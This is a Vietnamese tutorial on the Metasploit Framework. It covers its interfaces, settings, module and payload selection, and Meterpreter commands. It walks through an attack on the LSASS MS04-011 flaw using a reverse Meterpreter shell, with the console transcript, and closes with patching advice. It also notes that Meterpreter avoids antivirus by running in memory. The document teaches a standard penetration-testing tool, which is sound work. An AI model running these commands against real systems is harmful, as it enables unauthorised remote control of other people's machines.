Metasploit - Công cụ khai thác lỗ hổng

METASPLOIT

1. Giới thiệu Metasploit

Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những component được viết bằng C, assembler, và Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại *metasploit.com*.

Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script **msfupdate.bat** trong thư mục cài đặt

2. Các thành phần của Metasploit

Metasploit hỗ trợ nhiều giao diện với người dùng:

- **Console interface:** Dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
- **Web interface:** Dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web
- **Command line interface:** Dùng msfcli.bat

Environment:

- **Global Environment:** Được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits.
- **Temporary Environment:** Được thực thi thông qua 2 câu lệnh set và unset, environment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác.

Bạn có thể lưu lại environment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện.

Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global Environment.

Ví dụ:

msf> setg LPORT 80
msf> setg LHOST 172.16.8.2

3. Cách sử dụng Metasploit framework

3.1. Chọn module exploit:

Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác.

- **show exploits:** Xem các module exploit mà framework có hỗ trợ
- **use exploit_name:** Chọn module exploit
- **info exploit_name**: Xem thông tin về module exploit

Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên metasploit.com hoặc qua script msfupdate.bat

3.2. Cấu hình module exploit đã chọn:

- **show options:** Xác định những options nào cần cấu hình
- **set**: Cấu hình cho những option của module đó

Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh **show advanceds**

3.3. Xác nhận những option vừa cấu hình:

- **check:** Kiểm tra xem những option đã được set chính xác chưa.

3.4. Lựa chọn mục tiêu:

Lựa chọn hệ diều hành muốn thực hiện.

- **show targets:** những target được cung cấp bởi module đó.
- **set**: xác định target nào

Ví dụ:

smf> use windows_ssl_pct
show targets

Exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1

3.5. Lựa chọn payload:

Payload là đoạn code mà sẽ chạy trên hệ thống máy tính được điều khiển từ xa.

- **show payloads:** Liệt kê ra những payload của module exploit hiện tại
- **info payload_name:** Xem thông tin chi tiết về payload đó
- **set PAYLOAD payload_name:** Xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show option để xem những option của payload đó
- **show advanced:** Xem những advanced option của payload đó.

3.6. Thực thi exploit:

- **exploit:** Lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác.

4. Giới thiệu payload meterpreter

Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object (DLL) files. Meterpreter và các thành

phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus.

Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computer:

- **Fs:** Cho phép upload và download files từ các remote machine
- **Net:** Cho phép xem thông tin mạng của remote machine như IP, route table
- **Process:** Cho phép tạo các processes mới trên remote machine
- **Sys:** Cho phép xem thông tin hệ thống của remote machine

Sử dụng câu lệnh:

- *use -m module1,module2,module3 [-p path] [-d]*: Câu lệnh use dùng để load những module mở rộng của meterpreter như: Fs, Net, Process.
- *loadlib -f library [-t target] [-lde]*: Câu lệnh cho phép load các thư viện của remote machines.
- *read channel_id [length]*: Lệnh read cho phép xem dữ liêu của remote machine trên channel đang kết nối.
- *write channel_id*: Lệnh write cho phép ghi dữ liệu lên remote machine.
- *close channel_id*: Đóng channel mà đã kết nối với remote computer.
- *interact channel_id*: Bắt đầu một phiên làm việc với channel vừa thiết lập với remote machine.
- *initcrypt cipher [parameters]*: Mã hoá dữ liệu được gửi giữa host và remote machine.

Sử dụng module Fs: Cho phép upload và download files từ các remote machine.

- *cd directory:* Giống lệnh cd của command line
- *getcwd:* Cho biết thư mục đang làm việc hiện tại
- *ls [filter_string]*: liệt kê các thư mục và tập tin
- *upload src1 [src2 ...] dst*: Upload file
- *download src1 [src2 ...] dst*: Download file

Sử dụng module Net:

- *ipconfig*
- *route:* Xem bảng định tuyến của remote machine.
- *portfwd [-arv] [-L laddr] [-l lport] [-h rhost] [-p rport] [-P]*: Cho phép tạo port forward giữa host và remote machine.

Sử dụng module Process:

- *execute -f file [-a args] [-Hc]*: Câu lệnh execute cho phép bạn tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu
- *kill pid1 pid2 pid3*: Huỷ những process đang chạy trên máy remote machine
- *ps*: Liệt kê những process của remote machine.

Sử dụng module Sys:

- *getuid*: Cho biết username hiện tại của remote machine
- *sysinfo*: Cho biết thông tin về tên máy tính, hệ điều hành.

5. Ví dụ

Máy localhost có địa chỉ 192.168.1.1 sẽ tấn công máy remote có địa chỉ 192.168.1.2 thông qua lỗi Lsass_ms04_011. Đây là lỗi tràn stack trong dịch vụ LSA(Local Security Authority).Lsass.exe là một process của hệ thống Microsoft Windows, chịu trách nhiệm về chứng thực local security, quản lý Active Directory và các chính sách login. Lsass kiểm sóat việc chứng thực của cả client và server.

```
Msf>use Lsass_ms04_011

Msf>set PAYLOAD win32_reverse_meterpreter

Msf>set RHOST 192.168.1.2

Msf>set LHOST 192.168.1.1

Msf>exploit

Meterpreter> help

Meterpreter>use -m P      //add thêm tập lệnh của process

Meterpreter>help<         // xem các lệnh meterpreter hỗ trợ

Meterpreter>ps            // list các process mà remote machine đang chạy

Meterpreter>kill          // tắt các process mà remote machine đang chạy
```

```
Meterpreter> // tấn công sử dụng comandline cmd của remote machine

 execute: success, process id is 3516.

 execute: allocated channel 1 for new process.

meterpreter> interact 1

 interact: Switching to interactive console on 1...

 interact: Started interactive channel 1.

 Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

 C:\WINDOWS>echo Meterpreter interactive channel in action

 echo Meterpreter interactive channel in action

 Meterpreter interactive channel in action

C:\WINDOWS>ipconfig

Caught Ctrl-C, close interactive session? [y/N] y

meterpreter>
```

6. Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Microsoft. Ví dụ như để Metasploit không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả các hệ điều hành Windows. Bạn nên sử dụng hotfix có number là 835732 để vá lỗi trên.